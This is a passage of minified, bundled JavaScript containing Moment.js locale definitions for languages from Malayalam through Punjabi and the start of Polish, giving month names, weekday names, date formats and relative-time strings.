strict";e.defineLocale("ml",{months:"ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ".split("_"),monthsShort:"ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.".split("_"),monthsParseExact:!0,weekdays:"ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച".split("_"),weekdaysShort:"ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി".split("_"),weekdaysMin:"ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ".split("_"),longDateFormat:{LT:"A h:mm -നു",LTS:"A h:mm:ss -നു",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm -നു",LLLL:"dddd, D MMMM YYYY, A h:mm -നു"},calendar:{sameDay:"[ഇന്ന്] LT",nextDay:"[നാളെ] LT",nextWeek:"dddd, LT",lastDay:"[ഇന്നലെ] LT",lastWeek:"[കഴിഞ്ഞ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s കഴിഞ്ഞ്",past:"%s മുൻപ്",s:"അൽപ നിമിഷങ്ങൾ",ss:"%d സെക്കൻഡ്",m:"ഒരു മിനിറ്റ്",mm:"%d മിനിറ്റ്",h:"ഒരു മണിക്കൂർ",hh:"%d മണിക്കൂർ",d:"ഒരു ദിവസം",dd:"%d ദിവസം",M:"ഒരു മാസം",MM:"%d മാസം",y:"ഒരു വർഷം",yy:"%d വർഷം"},meridiemParse:/രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i,meridiemHour:function(e,t){return 12===e&&(e=0),"രാത്രി"===t&&e>=4||"ഉച്ച കഴിഞ്ഞ്"===t||"വൈകുന്നേരം"===t?e+12:e},meridiem:function(e,t,i){return e<4?"രാത്രി":e<12?"രാവിലെ":e<17?"ഉച്ച കഴിഞ്ഞ്":e<20?"വൈകുന്നേരം":"രാത്രി"}})}(i(30381))},5115:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){switch(i){case"s":return t?"хэдхэн секунд":"хэдхэн секундын";case"ss":return e+(t?" секунд":" секундын");case"m":case"mm":return e+(t?" минут":" минутын");case"h":case"hh":return e+(t?" цаг":" цагийн");case"d":case"dd":return e+(t?" өдөр":" өдрийн");case"M":case"MM":return e+(t?" сар":" сарын");case"y":case"yy":return e+(t?" жил":" жилийн");default:return e}}e.defineLocale("mn",{months:"Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар".split("_"),monthsShort:"1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар".split("_"),monthsParseExact:!0,weekdays:"Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба".split("_"),weekdaysShort:"Ням_Дав_Мяг_Лха_Пүр_Баа_Бям".split("_"),weekdaysMin:"Ня_Да_Мя_Лх_Пү_Ба_Бя".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY оны MMMMын D",LLL:"YYYY оны MMMMын D HH:mm",LLLL:"dddd, YYYY оны MMMMын D HH:mm"},meridiemParse:/ҮӨ|ҮХ/i,isPM:function(e){return"ҮХ"===e},meridiem:function(e,t,i){return e<12?"ҮӨ":"ҮХ"},calendar:{sameDay:"[Өнөөдөр] LT",nextDay:"[Маргааш] LT",nextWeek:"[Ирэх] dddd LT",lastDay:"[Өчигдөр] LT",lastWeek:"[Өнгөрсөн] dddd LT",sameElse:"L"},relativeTime:{future:"%s дараа",past:"%s өмнө",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2} өдөр/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+" өдөр";default:return e}}})}(i(30381))},10370:function(e,t,i){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},i={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};function n(e,t,i,n){var r="";if(t)switch(i){case"s":r="काही सेकंद";break;case"ss":r="%d सेकंद";break;case"m":r="एक मिनिट";break;case"mm":r="%d मिनिटे";break;case"h":r="एक तास";break;case"hh":r="%d तास";break;case"d":r="एक दिवस";break;case"dd":r="%d दिवस";break;case"M":r="एक महिना";break;case"MM":r="%d महिने";break;case"y":r="एक वर्ष";break;case"yy":r="%d वर्षे"}else switch(i){case"s":r="काही सेकंदां";break;case"ss":r="%d सेकंदां";break;case"m":r="एका मिनिटा";break;case"mm":r="%d मिनिटां";break;case"h":r="एका तासा";break;case"hh":r="%d तासां";break;case"d":r="एका दिवसा";break;case"dd":r="%d दिवसां";break;case"M":r="एका महिन्या";break;case"MM":r="%d महिन्यां";break;case"y":r="एका वर्षा";break;case"yy":r="%d वर्षां"}return r.replace(/%d/i,e)}e.defineLocale("mr",{months:"जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),monthsShort:"जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm वाजता",LTS:"A h:mm:ss वाजता",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm वाजता",LLLL:"dddd, D MMMM YYYY, A h:mm वाजता"},calendar:{sameDay:"[आज] LT",nextDay:"[उद्या] LT",nextWeek:"dddd, LT",lastDay:"[काल] LT",lastWeek:"[मागील] dddd, LT",sameElse:"L"},relativeTime:{future:"%sमध्ये",past:"%sपूर्वी",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/पहाटे|सकाळी|दुपारी|सायंकाळी|रात्री/,meridiemHour:function(e,t){return 12===e&&(e=0),"पहाटे"===t||"सकाळी"===t?e:"दुपारी"===t||"सायंकाळी"===t||"रात्री"===t?e>=12?e:e+12:void 0},meridiem:function(e,t,i){return e>=0&&e<6?"पहाटे":e<12?"सकाळी":e<17?"दुपारी":e<20?"सायंकाळी":"रात्री"},week:{dow:0,doy:6}})}(i(30381))},41237:function(e,t,i){!function(e){"use strict";e.defineLocale("ms-my",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,i){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(i(30381))},9847:function(e,t,i){!function(e){"use strict";e.defineLocale("ms",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,i){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(i(30381))},72126:function(e,t,i){!function(e){"use strict";e.defineLocale("mt",{months:"Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru".split("_"),monthsShort:"Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ".split("_"),weekdays:"Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt".split("_"),weekdaysShort:"Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib".split("_"),weekdaysMin:"Ħa_Tn_Tl_Er_Ħa_Ġi_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Illum fil-]LT",nextDay:"[Għada fil-]LT",nextWeek:"dddd [fil-]LT",lastDay:"[Il-bieraħ fil-]LT",lastWeek:"dddd [li għadda] [fil-]LT",sameElse:"L"},relativeTime:{future:"f’ %s",past:"%s ilu",s:"ftit sekondi",ss:"%d sekondi",m:"minuta",mm:"%d minuti",h:"siegħa",hh:"%d siegħat",d:"ġurnata",dd:"%d ġranet",M:"xahar",MM:"%d xhur",y:"sena",yy:"%d sni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},56165:function(e,t,i){!function(e){"use strict";var t={1:"၁",2:"၂",3:"၃",4:"၄",5:"၅",6:"၆",7:"၇",8:"၈",9:"၉",0:"၀"},i={"၁":"1","၂":"2","၃":"3","၄":"4","၅":"5","၆":"6","၇":"7","၈":"8","၉":"9","၀":"0"};e.defineLocale("my",{months:"ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ".split("_"),monthsShort:"ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ".split("_"),weekdays:"တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ".split("_"),weekdaysShort:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),weekdaysMin:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ယနေ.] LT [မှာ]",nextDay:"[မနက်ဖြန်] LT [မှာ]",nextWeek:"dddd LT [မှာ]",lastDay:"[မနေ.က] LT [မှာ]",lastWeek:"[ပြီးခဲ့သော] dddd LT [မှာ]",sameElse:"L"},relativeTime:{future:"လာမည့် %s မှာ",past:"လွန်ခဲ့သော %s က",s:"စက္ကန်.အနည်းငယ်",ss:"%d စက္ကန့်",m:"တစ်မိနစ်",mm:"%d မိနစ်",h:"တစ်နာရီ",hh:"%d နာရီ",d:"တစ်ရက်",dd:"%d ရက်",M:"တစ်လ",MM:"%d လ",y:"တစ်နှစ်",yy:"%d နှစ်"},preparse:function(e){return e.replace(/[၁၂၃၄၅၆၇၈၉၀]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(i(30381))},64924:function(e,t,i){!function(e){"use strict";e.defineLocale("nb",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"sø._ma._ti._on._to._fr._lø.".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] HH:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[forrige] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"noen sekunder",ss:"%d sekunder",m:"ett minutt",mm:"%d minutter",h:"én time",hh:"%d timer",d:"én dag",dd:"%d dager",w:"én uke",ww:"%d uker",M:"én måned",MM:"%d måneder",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},16744:function(e,t,i){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},i={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};e.defineLocale("ne",{months:"जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर".split("_"),monthsShort:"जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.".split("_"),monthsParseExact:!0,weekdays:"आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार".split("_"),weekdaysShort:"आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.".split("_"),weekdaysMin:"आ._सो._मं._बु._बि._शु._श.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"Aको h:mm बजे",LTS:"Aको h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, Aको h:mm बजे",LLLL:"dddd, D MMMM YYYY, Aको h:mm बजे"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/राति|बिहान|दिउँसो|साँझ/,meridiemHour:function(e,t){return 12===e&&(e=0),"राति"===t?e<4?e:e+12:"बिहान"===t?e:"दिउँसो"===t?e>=10?e:e+12:"साँझ"===t?e+12:void 0},meridiem:function(e,t,i){return e<3?"राति":e<12?"बिहान":e<16?"दिउँसो":e<20?"साँझ":"राति"},calendar:{sameDay:"[आज] LT",nextDay:"[भोलि] LT",nextWeek:"[आउँदो] dddd[,] LT",lastDay:"[हिजो] LT",lastWeek:"[गएको] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%sमा",past:"%s अगाडि",s:"केही क्षण",ss:"%d सेकेण्ड",m:"एक मिनेट",mm:"%d मिनेट",h:"एक घण्टा",hh:"%d घण्टा",d:"एक दिन",dd:"%d दिन",M:"एक महिना",MM:"%d महिना",y:"एक बर्ष",yy:"%d बर्ष"},week:{dow:0,doy:6}})}(i(30381))},59814:function(e,t,i){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),i="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),n=[/^jan/i,/^feb/i,/^(maart|mrt\.?)$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],r=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl-be",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(i(30381))},93901:function(e,t,i){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),i="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),n=[/^jan/i,/^feb/i,/^(maart|mrt\.?)$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],r=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",w:"één week",ww:"%d weken",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(i(30381))},83877:function(e,t,i){!function(e){"use strict";e.defineLocale("nn",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"),weekdaysShort:"su._må._ty._on._to._fr._lau.".split("_"),weekdaysMin:"su_må_ty_on_to_fr_la".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[I dag klokka] LT",nextDay:"[I morgon klokka] LT",nextWeek:"dddd [klokka] LT",lastDay:"[I går klokka] LT",lastWeek:"[Føregåande] dddd [klokka] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s sidan",s:"nokre sekund",ss:"%d sekund",m:"eit minutt",mm:"%d minutt",h:"ein time",hh:"%d timar",d:"ein dag",dd:"%d dagar",w:"ei veke",ww:"%d veker",M:"ein månad",MM:"%d månader",y:"eit år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},92135:function(e,t,i){!function(e){"use strict";e.defineLocale("oc-lnc",{months:{standalone:"genièr_febrièr_març_abril_mai_junh_julhet_agost_setembre_octòbre_novembre_decembre".split("_"),format:"de genièr_de febrièr_de març_d'abril_de mai_de junh_de julhet_d'agost_de setembre_d'octòbre_de novembre_de decembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._mai_junh_julh._ago._set._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"dimenge_diluns_dimars_dimècres_dijòus_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dm._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dm_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:"[uèi a] LT",nextDay:"[deman a] LT",nextWeek:"dddd [a] LT",lastDay:"[ièr a] LT",lastWeek:"dddd [passat a] LT",sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"unas segondas",ss:"%d segondas",m:"una minuta",mm:"%d minutas",h:"una ora",hh:"%d oras",d:"un jorn",dd:"%d jorns",M:"un mes",MM:"%d meses",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var i=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(i="a"),e+i},week:{dow:1,doy:4}})}(i(30381))},15858:function(e,t,i){!function(e){"use strict";var t={1:"੧",2:"੨",3:"੩",4:"੪",5:"੫",6:"੬",7:"੭",8:"੮",9:"੯",0:"੦"},i={"੧":"1","੨":"2","੩":"3","੪":"4","੫":"5","੬":"6","੭":"7","੮":"8","੯":"9","੦":"0"};e.defineLocale("pa-in",{months:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),monthsShort:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),weekdays:"ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ".split("_"),weekdaysShort:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),weekdaysMin:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),longDateFormat:{LT:"A h:mm ਵਜੇ",LTS:"A h:mm:ss ਵਜੇ",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm ਵਜੇ",LLLL:"dddd, D MMMM YYYY, A h:mm ਵਜੇ"},calendar:{sameDay:"[ਅਜ] LT",nextDay:"[ਕਲ] LT",nextWeek:"[ਅਗਲਾ] dddd, LT",lastDay:"[ਕਲ] LT",lastWeek:"[ਪਿਛਲੇ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ਵਿੱਚ",past:"%s ਪਿਛਲੇ",s:"ਕੁਝ ਸਕਿੰਟ",ss:"%d ਸਕਿੰਟ",m:"ਇਕ ਮਿੰਟ",mm:"%d ਮਿੰਟ",h:"ਇੱਕ ਘੰਟਾ",hh:"%d ਘੰਟੇ",d:"ਇੱਕ ਦਿਨ",dd:"%d ਦਿਨ",M:"ਇੱਕ ਮਹੀਨਾ",MM:"%d ਮਹੀਨੇ",y:"ਇੱਕ ਸਾਲ",yy:"%d ਸਾਲ"},preparse:function(e){return e.replace(/[੧੨੩੪੫੬੭੮੯੦]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ਰਾਤ"===t?e<4?e:e+12:"ਸਵੇਰ"===t?e:"ਦੁਪਹਿਰ"===t?e>=10?e:e+12:"ਸ਼ਾਮ"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"ਰਾਤ":e<10?"ਸਵੇਰ":e<17?"ਦੁਪਹਿਰ":e<20?"ਸ਼ਾਮ":"ਰਾਤ"},week:{dow:0,doy:6}})}(i(30381))},64495:function(e,t,i){!function(e){"use strict";var t="styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"),i="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"),n=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^paź/i,/^lis/i,/^gru/i];function r(e){return e%10<5&&e%10>1&&~~(e/10)%10!=1}function s(e,t,i){var n=e+" ";switch(i){case"ss":return n+(r(e)?"sekundy":"sekund");case"m":return t?"minuta":"minutę";case"mm":return n+(r(e)?"minuty":"minut");case"h":return 